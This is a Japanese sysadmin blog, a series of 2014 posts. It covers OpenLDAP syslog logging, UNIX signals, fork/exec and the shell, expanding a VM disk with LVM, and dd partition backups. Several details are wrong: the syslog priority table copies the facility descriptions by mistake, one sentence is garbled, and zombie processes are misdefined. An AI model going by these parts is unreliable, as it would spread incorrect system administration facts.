※2014/02/03 VPNサーバのファイアウォールのポート開けについて追記。
※2014/02/05 VPNサーバの IPSec 機能有効化について追記。
※2014/02/07 MacのVPN接続設定部分に追記。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年1月31日金曜日

slapadd のログを syslogd でとる設定 ※slapd でも none を忘れずに

昨日に引き続き OpenLDAP ネタ。slapadd を実行するシェルスクリプトを書いていて、ログ出力がどうもうまくいかないので調べていた。

slapadd の man ページを参照すると -o オプションで syslogd に関する設定を色々指定できるみたいだ。該当部分はこんな記述になっている。

-o option[=value]
     Specify an option  with  a(n  optional)  value.   Possible  generic
     options/values are:

        syslog=<subsystems>  (see `-s' in slapd(8))
        syslog-level=<level> (see `-S' in slapd(8))
        syslog-user=<user>   (see `-l' in slapd(8))

        schema-check={yes|no}
        value-check={yes|no}

     The schema-check option toggles schema checking (default on);
     the value-check option toggles value checking (default off).
     The latter is incompatible with -q.
 

今回 syslogd 側 では daemon ファシリティでプライオリティが info 以上のログを出力するよう設定していたので、まずは

slapadd -o "syslog-level=INFO" -o "syslog-user=DAEMON" ・・・(以下略)
 

みたいな感じにやってみたけどログが出ない。いろいろ試行錯誤する中で、試しにそれまで付けていた -F オプションを外してみるとエラーがログに出た。どうやら -F オプションを指定するとデフォルトの slapd から出すログレベルの設定が消えて、何も syslog に出なくなるようだ。
そこで -o "syslog=<subsystems>" で改めて指定する。<subsystems> に指定できるログレベルについては昨日の記事を参照。

slapadd -o "syslog=stats,stats2,shell,parse,sync,none" -o "syslog-level=INFO" -o "syslog-user=DAEMON" ・・・(以下略)
 

これでログ出力できた。

なお、ログレベルについて一点気をつけたほうがいいことがある。それは none だ。各種サイトで調べてみても none ってなんか一見不要そうな雰囲気だから最初は付けてなかった。けれど、これは指定しておくことを強くおすすめする。

たとえば、slapd をシェルからコマンドラインで打つとシェルには出るエラーメッセージが syslogd に記録されないんでおかしいと思ってたら、none を含めたら記録されるようになった。読んで意味がわかるメッセージがログに記録されるのは重要。こんな有用なログをなぜ none って名前のログレベルにしたんだよ・・・。

ちなみに余談だけれど、上に引用した slapadd の man ページの -o オプションの部分には、syslogd へ出力するログのプライオリティを変更するための slapd の -S オプションについて言及があるのに、slapd の man ページの方には -S オプションについての説明がない(笑)。それでも -S オプションは slapd の方でもきちんと機能する。単に man ページヘの書き忘れかもしれないから、syslogd への出力プライオリティを変更するオプションとして覚えておくと便利だろう。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年1月30日木曜日

slapd の syslogd 向けログ出力とデバッグレベル

OpenLDAPでLDAPサーバを構築している途中で、slapdがうまく起動しないことがあった。その際、slapdがログを吐かないことに気づいた。

そもそも、OpenLDAPの場合、デフォルト設定のままではログが出力されない設定になっているらしい。変更すべき設定は syslogd のファシリティとデバッグレベル。

・syslogd のファシリティ
ファシリティとは、ログの分類のこと。syslogd で出力されるログには、アプリケーションが指定したファシリティとプライオリティが付いている。
ファシリティには次のようなものがある。

ファシリティ 対象のログ
auth(security) 認証サービスのメッセージ(現在はauthprivが推奨されている)
authpriv 認証サービス(カテゴリはauthと同じ。authとは出力結果が異なる)
cron cronのメッセージ
daemon デーモンのメッセージ
kern カーネルのメッセージ
lpr プリンタサービスのメッセージ
mail メールサービスのメッセージ
news ニュースサービスのメッセージ
syslog syslogのメッセージ
user ユーザープロセスのメッセージ
uucp uucp転送を行うプログラムのメッセージ
local0~7 アプリケーションに依存する

プライオリティは、ログの重要度を表す。次のようなものがある。

プライオリティ 説明
emerg 認証サービスのメッセージ(現在はauthprivが推奨されている)
alert 認証サービス(カテゴリはauthと同じ。authとは出力結果が異なる)
crit cronのメッセージ
err デーモンのメッセージ
warning カーネルのメッセージ
notice プリンタサービスのメッセージ
info メールサービスのメッセージ
debug ニュースサービスのメッセージ

どのファシリティのどのプライオリティのログを出力するかについては、/etc/syslog.conf ファイルに設定する。なお最近の Linux では syslogd ではなくその改良版である rsyslog が使われているかもしれないので、その場合 /etc/rsyslog.conf が設定ファイルになる。

設定は

ファシリティ.プライオリティ    ログ出力先

のように書く。例えばメールに関する全てのログを /var/log/maillog に出力する設定は

mail.*    /var/log/maillog

という感じになる。

で、話をOpenLDAPに戻すと、実はOpenLDAPのデフォルトのファシリティは local4 になっている。この local4 に対するログ出力設定がデフォルトでは存在しないため、デフォルト設定のままではログが出力されないのだ。

これに対処するには、syslogd側の設定を変更するlogd側の設定を変更する場合、ファシリティlocal4 に対する設定を追加すればいい。次のような感じになる。

local4.*    /var/log/ldap.log 

これを /etc/syslog.conf (または /etc/rsyslog.conf)に追加し、syslogデーモンを再起動すればよい。

なお、slapd側がsyslogdへログを出力する際のファシリティを変更することもできる。これは slapd 起動時の -l オプションで指定できる。LOCAL0〜LOCAL7, USER, DAEMON が指定可能。

もう一つ注意すべき点は、slapd が syslog へ出力する際のプライオリティは DEBUG になる点だ。このプライオリティを変更する方法は色々調べたが見つからなかった。(僕の環境では -S INFO を指定することでプライオリティを INFO に変更できたが、誰か正式な方法知ってたら教えてください。)

slapd が出力するログのレベルは、Configuration Backend を使っている場合 cn=config エントリの olcLogLevel に格納する。ログレベルは、次のようなものがある。

ログレベル
(10進数)
ログレベル
(16進数)
ログレベル
(文字列)
ログ出力内容
-1 - any すべてのログを出力
0 - - まったくログを出力しない
1 0x1 trace 内部の関数呼び出し
2 0x2 packets パケット操作
4 0x4 args 処理の詳細なトレース
8 0x8 cons コネクション管理
16 0x10 BER パケット送受信
32 0x20 filter 検索フィルタ処理
64 0x40 config 設定ファイルの処理
128 0x80 ACL アクセス制御リストの処理
256 0x100 stats ステータスログ(デフォルト)
512 0x200 stats2 ステータスログ2
1024 0x400 shell シェルバックエンドとの通信
2048 0x800 parse エントリの解析
16384 0x4000 sync syncrepl コンシューマ処理
32768 0x8000 none 設定に依存しない最低限の出力のみ

出力したいログレベルの数値の合計、またはログレベルの文字列をカンマ区切りで列挙する。デフォルトは 256 (stats) 。設定例としては

dn: cn=config
objectClass: olcGlobal
cn: config
olcLogLevel: trace,ACL

こんな感じ。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

参考ページ:
OpenLDAP ソフトウェア 2.3 管理者ガイド: slapd の実行
OpenLDAPによるディレクトリサーバ運用(3):ものいわぬOpenLDAPサーバのログ管理 (1/3) - @IT
Linux管理者への道(3):システム管理の基礎 syslogdの設定をマスターしよう (1/3) - @IT

2014年1月29日水曜日

UNIX/Linux系OSにおけるシグナル

昨日プロセスとシェルについて調べていく途中で、プロセス間で情報をやりとりする仕組みの一種のシグナルとはそもそも何なのかが気になって調べてみたのでまとめてみる。

↓こちらのサイトが素晴らしい解説なので一読をお勧めする。
http://www.nurs.or.jp/~sug/soft/super/signal.htm
下の文章はほぼ上記サイトの要約みたいなもんです。

・ハードウェア割り込み
キーボードからの入力など、予期せぬタイミングで処理をしなければならないイベントに対応するため、CPUには「ハードウェア割り込み」の機能がある。これはCPUのINTRピンがOFFになった時に、現在の処理を一時中断して別の処理へと飛び、完了後に元に戻ってくる機能である。ハードウェア割り込みがあるおかげで、プログラムは例えば一定間隔でキーボードの入力があったかチェックするようなことをせずに済む。

・ハードウェア割り込みとシグナル
このハードウェア割り込みの仕組みと同様の仕組みをOSにおいて実現したのがシグナルである。シグナルには対応する処理(シグナルハンドラ)を決めておくことができ、シグナルを受け取るとその処理が呼び出される。なお、UNIX系OSでは全てのシグナルにデフォルト処理が定めれらている。デフォルト処理を再定義して任意の処理に変更できる。

・シグナルのリエントラント問題とPOSIXシグナルの動作
システムコールで何かを待機中にシグナルを受け取ったり、シグナルハンドラの処理中に再度同じシグナルを受け取ることが考えられる。これらのパターンは予期しない結果を生む可能性がある。これをシグナルのリエントラント(再入)問題と呼ぶ。

そのためPOSIXの定めたシグナルの動作では、シグナルハンドラの処理中に別のシグナルを受け取ると、新しく受け取ったシグナルを保留状態にし、前のシグナルハンドラの処理が終わった段階で新しい方のシグナルを処理するようになっている。また、システムコールを実行中にシグナルを受け取った場合はデフォルトではシステムコールはエラーで終了するが、シグナルハンドラの処理完了後にシステムコールを継続するようにすることもできる。

・Linuxにおけるシグナルの一部とデフォルトの動作及び送信方法の例
SIGINT:プロセスの終了。シェルでCtrl+Cが押されると送信。
SIGTSTP:プロセスを一旦停止。シェルでCtrl+Zが押されると送信。
SIGCONT:プロセスを再開。シェルで「fg」や「bg」と叩いた時送信。
SIGQUIT:プロセスを終了してコアダンプ。シェルでCtrl+\が押されると送信。
SIGTERM:プロセスの終了。子プロセスがある場合、そのプロセスが子プロセスも終了させる。killコマンド実行時にデフォルトで送信。
SIGHUP:プロセスの終了(デーモンの場合再起動)。ログインシェルからログアウト時に送信。
SIGKILL:プロセスの強制終了。killコマンドで明示的に指定すれば送信できる。
上記の他にも多数ある。下の参考URLを参照。

こんなもんかな。シグナルについてまとめてみたけれど、よく考えられてると思う。シェルからの操作とか、killコマンドとか、なんとなくの理解のまま使ってたのでスッキリした。

2014年1月28日火曜日

シェルとプロセスとプログラムの呼び出し

結構長いことLinuxを使っている自分だけれども、アプリ開発の仕事をずっとやってきたために、OSの機能については疎いところがあったりする。

先日、プログラミング言語から別のプログラムを呼ぶときに「シェル経由で呼び出す」方法と「シェルを経由せずに呼び出す」方法がある、という話を聞いた時によくわからなかったので、調べてみた。

・プロセスの概念
まず、プロセスの概念について。言葉だけは何となく使っちゃてるけど。プロセスとは、プログラムを実行するときにメモリ上にロードしてIDを割り当てたもの。たとえ同じプログラムでも、別々のメモリ領域を与えてアドレス空間を分離することによって、互いに干渉せず同時に実行することが可能になる。

・プロセスの複製と親子関係
UNIX系OSにはfork()システムコールがあり、これはプロセスを環境変数や実行位置なども含め現在の状態をまるごとコピーしてIDを付け替えたプロセスを生成する。fork()を呼び出した側が親プロセスで、fork()によって生成されたプロセスが子プロセスとなる。fork()の戻り値として親プロセス側には子プロセスのプロセスIDが渡され、子プロセス側には0が渡されるので自分が親か子かを判別できる。

・子プロセスの置き換え
あるプログラムから別のプログラムを呼び出す場合、まずfork()システムコールで子プロセスを生成し、子プロセス側でexec()システムコールを呼び出す。exec()システムコールは、自分自身を別のプログラムに置き換える(一旦メモリ上のアドレス空間を破棄して作りなおす)。プロセスIDは維持されるので、親子関係は保たれる。

・プロセスの終了
プロセス内でexit()システムコールを呼び出すと、そのプロセスは終了するが、メモリ上に管理情報は残っている。親プロセスからwait()システムコールを呼ぶことによって親は子プロセスの終了ステータスを取得した上で子プロセスの管理情報を削除する。親プロセスがwait()を呼ぶタイミングは、子プロセスを生成してすぐか、あるいは子プロセスから終了シグナルを受け取った時点になる。

・プロセスツリー
UNIX系OSでは、プログラムの実行は fork() → exec() を利用して、次々と子プロセスを生成していくことで行われる。一番最初のプロセスは、カーネル自身が init というプロセスを生成し、全てのプロセスの親となる。init を頂点に全てのプロセスがツリー状に親子関係でつながっている。ちなみに、子プロセスの終了前に親プロセスでが終了した場合、子プロセスの親は自動的に init になる。この場合の子プロセス終了時にwait()を呼ぶ処理は init が担当することになる。

・シェルはプログラム実行時に何をしているのか?
シェルは、ユーザからプログラム実行のコマンドを受け付けると、自分自身をfork()によって複製し、子プロセス側でexec()を呼び出して指定されたプログラムを実行する。あとは、wait() を呼んで子プロセスの終了を待つ(フォアグラウンドジョブ)。あるいは、wait()をすぐには呼ばず、にユーザからのコマンド受付状態に戻るようにも指定できる(バックグラウンドジョブ)。この場合終了した子プロセスに対して wait() を呼ぶのはシェルが適宜行ってくれると思う(詳しい方いたら教えてください)。

・シェルを経由するかしないかの違いとは
要するに fork() → exec() (+ wait()の待機) の一連の流れができれば、あるプログラムから別のプログラムを呼び出すことができる。この処理をシェルに任せるのが「シェル経由で呼び出す」方法であり、独自に行うのが「シェルを経由せずに呼び出す」方法だということ。

だいたいこんなもんかな。上に書いていない知識も色々整理できたが(親プロセスが異常終了した場合の子プロセス=ゾンビプロセスについてとか)、その辺は下の参考URLを参照。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

※参考URL
http://fumiyas.github.io/2013/12/21/dont-use-shell.sh-advent-calendar.html
http://itpro.nikkeibp.co.jp/article/COLUMN/20080502/300565/?ST=oss&P=1
http://www.gadgety.net/shin/tips/unix/ipc/fork.html
http://www.fireproject.jp/feature/c-language/process/fork-wait.html

2014年1月22日水曜日

仮想マシン上のLinuxでディスク容量を拡張してLVMとして追加する

VMWare Fusion に Debian7 を入れて使っているんだけど、最初の見立てが甘かったため、ディスク容量が一杯になってしまった。

そこで、ハードディスクの容量を増やして空き領域に新たなパーティションを作成し、LVMとして追加することにした。LVMなら再度容量を追加したりするとき便利だし。

まあ仮想マシンだから新たにディスクを増やしてもいいんだけれど、そこはせっかくなので仮想マシンならではの方法をやってみよう、ということでディスクの容量追加にした。

ただ容量増加前の状態だと20GBの容量ほぼ全部を1つのパーティションとして使っていて(かつLVMにしていない)、ここにルート(/)以下をまるごと突っ込んでしまっているので、このパーティション自体の容量を増やそうとすると色々と面倒だ。

そこで最も容量を圧迫している /home 以下に、新たに作成したLVMパーティションを割り当てることにした(参考にしたのはここ)。

まず、VMWare の設定画面からハードディスクの容量を変更する(20GB -> 50GB)。スナップショットがあると変更できないので、必要なデータは事前にバックアップしたうえでスナップショットは消しておく。
そしてルート権限で fdisk コマンドを実行する。-lオプションをつけて現在の状態を確認。

[root@localhost]~# fdisk -l

Disk /dev/sda: 53.7 GB, 53687091200 bytes
255 heads, 63 sectors/track, 6527 cylinders, total 104857600 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000325f8

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048    40136703    20067328   83  Linux
/dev/sda2        40138750    41940991      901121    5  Extended
/dev/sda5        40138752    41940991      901120   82  Linux swap / Solaris

/dev/sdaは53.7GBと認識されてる。もちろん容量を増やしたから、現在のパーティションを全部合わせても空き領域がある。この空き領域に新しくパーティションを作成して/home用に使うことにする。その際、パーティションの開始セクタを空き領域の先頭に設定する。

そこで fdisk で続けて次の操作を行う。
・nコマンドを入力(パーティションを新規作成)
・パーティションタイプはデフォルト(プライマリ)でよいのでそのままEnter
・パーティション番号もデフォルト(この場合は3)でよいのでそのままEnter
・開始セクタは空き領域の先頭(この場合は41940992)を入力
・終了セクタは自動的に最終セクタがデフォルトになるのでそのままEnter

Command (m for help): n
Partition type:
   p   primary (1 primary, 1 extended, 2 free)
   l   logical (numbered from 5)
Select (default p): 
Using default response p
Partition number (1-4, default 3): 
Using default value 3
First sector (40136704-104857599, default 40136704): 41940992
Last sector, +sectors or +size{K,M,G} (41940992-104857599, default 104857599): 
Using default value 104857599

パーティションができたかpコマンドで確認。

Command (m for help): p

Disk /dev/sda: 53.7 GB, 53687091200 bytes
255 heads, 63 sectors/track, 6527 cylinders, total 104857600 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000325f8

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048    40136703    20067328   83  Linux
/dev/sda2        40138750    41940991      901121    5  Extended
/dev/sda3        41940992   104857599    31458304   83  Linux
/dev/sda5        40138752    41940991      901120   82  Linux swap / Solaris

/dev/sda3としてできている。

パーティションのタイプをtコマンドでLVMに変更する。
fdiskでの操作は
・コマンドは t を入力
・パーティション番号は先ほど作成した番号(3)を入力
・ヘックスコードはLVMを表す 8e を入力

[root@localhost]~# fdisk /dev/sda

Command (m for help): t
Partition number (1-5): 3
Hex code (type L to list codes): 8e
Changed system type of partition 3 to 8e (Linux LVM)

pコマンドで結果を確認する。

Command (m for help): p

Disk /dev/sda: 53.7 GB, 53687091200 bytes
255 heads, 63 sectors/track, 6527 cylinders, total 104857600 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000325f8

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048    40136703    20067328   83  Linux
/dev/sda2        40138750    41940991      901121    5  Extended
/dev/sda3        41940992   104857599    31458304   8e  Linux LVM
/dev/sda5        40138752    41940991      901120   82  Linux swap / Solaris

確認できたら、w コマンドでパーティションテーブルに書き込む。

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 16: デバイスもしくはリソースがビジー状態です.
The kernel still uses the old table. The new table will be used at
the next reboot or after you run partprobe(8) or kpartx(8)
Syncing disks.

古いパーティションを使用中なので警告が出る。パーティションテーブルを有効化するために再起動する。

[root@localhost]~# reboot

再起動後、PVを作成しようと思ったらコマンドがなかったので lvm2 をインストール。

[root@localhost]~# apt-get install lvm2

コマンドを認識させるためログアウト&ログインしておく。そしてあらためてPVを作成。

[root@localhost]~# pvcreate /dev/sda3
  Writing physical volume data to disk "/dev/sda3"
  Physical volume "/dev/sda3" successfully created

VG作成、今回はPVを1つだけ使うことにする。

[root@localhost]~# vgcreate home1 /dev/sda3
  Volume group "home1" successfully created

LV作成、VG空き容量の全部を使うことにする。

[root@localhost]~# lvcreate -n home1-1 -l 100\%FREE home1
  Logical volume "home1-1" created

ext4としてフォーマット

[root@localhost]~# mkfs.ext4 /dev/home1/home1-1
mke2fs 1.42.5 (29-Jul-2012)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
1966080 inodes, 7864320 blocks
393216 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=4294967296
240 block groups
32768 blocks per group, 32768 fragments per group
8192 inodes per group
Superblock backups stored on blocks: 
 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 
 4096000

Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done

/homeの中身を引っ越すため、一時的にマウントポイントを作成して新しく作成したパーティションをマウントし、コピーする。

[root@localhost]~# mkdir /mnt/home1-1
[root@localhost]~# mount /dev/home1/home1-1 /mnt/home1-1 
[root@localhost]~# cp -rp /home/* /mnt/home1-1

/etc/fstabを編集する。

[root@localhost]~# vim /etc/fstab

最終行に以下を追加して保存

/dev/home1/home1-1 /home ext4 defaults 1 2

最後に、コピー済みの/homeの中身を消して再起動

[root@localhost]~# rm -rf /home/*
[root@localhost]~# reboot

再起動後、dfで確認してみる。

[root@localhost]~# df -h
ファイルシス                                           サイズ  使用  残り 使用% マウント位置
rootfs                                                    19G  6.6G   12G   37% /
udev                                                      10M     0   10M    0% /dev
tmpfs                                                    397M  688K  396M    1% /run
/dev/disk/by-uuid/a1211e97-cb86-4aa7-8829-0700c8e26c1a    19G  6.6G   12G   37% /
tmpfs                                                    5.0M     0  5.0M    0% /run/lock
tmpfs                                                    969M  220K  969M    1% /run/shm
/dev/mapper/home1-home1--1                                30G  8.1G   20G   29% /home

/homeの容量が増えました。めでたしめでたし。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。

2014年1月21日火曜日

仮想マシン上のLinuxでファイルシステムをまるごとバックアップ

VMWare FusionにDebian7をインストールして使っているんだけれど、
ちょっとバックアップをとりたくなったのでやってみた。

まず仮想マシンの設定で、十分な容量のハードディスクを新規に作成して追加しておく。(今回は20GB)

そしたらルート権限で fdisk コマンドを実行。-lオプションをつけて現在の状態を確認。/dev/sdbが新たに追加したハードディスク。

[root@localhost]~# fdisk -l

Disk /dev/sda: 53.7 GB, 53687091200 bytes
255 heads, 63 sectors/track, 6527 cylinders, total 104857600 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x000325f8

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *        2048    40136703    20067328   83  Linux
/dev/sda2        40138750    41940991      901121    5  Extended
/dev/sda5        40138752    41940991      901120   82  Linux swap / Solaris

Disk /dev/sdb: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders, total 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0x00000000


Disk /dev/sdb doesn't contain a valid partition table

次に新しく追加したディスクをfdiskのオプションで渡して実行。
コマンド入力を求められるが、まずコマンド一覧を確認。

[root@localhost]~# fdisk /dev/sdb
Device contains neither a valid DOS partition table, nor Sun, SGI or OSF disklabel
Building a new DOS disklabel with disk identifier 0x2fce4abf.
Changes will remain in memory only, until you decide to write them.
After that, of course, the previous content won't be recoverable.

Warning: invalid flag 0x0000 of partition table 4 will be corrected by w(rite)

Command (m for help): m
Command action
   a   toggle a bootable flag
   b   edit bsd disklabel
   c   toggle the dos compatibility flag
   d   delete a partition
   l   list known partition types
   m   print this menu
   n   add a new partition
   o   create a new empty DOS partition table
   p   print the partition table
   q   quit without saving changes
   s   create a new empty Sun disklabel
   t   change a partition's system id
   u   change display/entry units
   v   verify the partition table
   w   write table to disk and exit
   x   extra functionality (experts only)


nコマンドで新規パーティションを作成する。いくつか質問されるが、
・パーティションタイプはプライマリ(p)
・パーティション番号は最初のパーティションなので1
・開始セクタはデフォルト(2048)
・終了セクタはバックアップ対象と同じセクタで作成する(40136703)

Command (m for help): n
Partition type:
   p   primary (0 primary, 0 extended, 4 free)
   e   extended
Select (default p): p
Partition number (1-4, default 1): 1
First sector (2048-41943039, default 2048): 2048
Last sector, +sectors or +size{K,M,G} (2048-41943039, default 41943039): 40136703

できたか確認。

Command (m for help): p

Disk /dev/sdb: 21.5 GB, 21474836480 bytes
255 heads, 63 sectors/track, 2610 cylinders, total 41943040 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xc3d14735

   Device Boot      Start         End      Blocks   Id  System
/dev/sdb1            2048    40136703    20067328   83  Linux

確認したらwコマンドで書き込む。

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.
[root@localhost]~# 

シングルユーザモードに移行する。リードオンリーモードで / をリマウントする。

# telinit 1
[root@localhost]~# mount -r -n -o remount /

dd でバックアップ。

[root@localhost]~# dd  if=/dev/sda1 of=/dev/sdb1

終わったらリードオンリーから通常のマウントに戻す。

[root@localhost]~# mount -w -n -o remount /

これで完了。
バックアップから復元する時はddコマンドのifとofを逆にすればいい。

※この記事について指摘・意見・提案・感想などありましたら下のコメント欄にどうそ。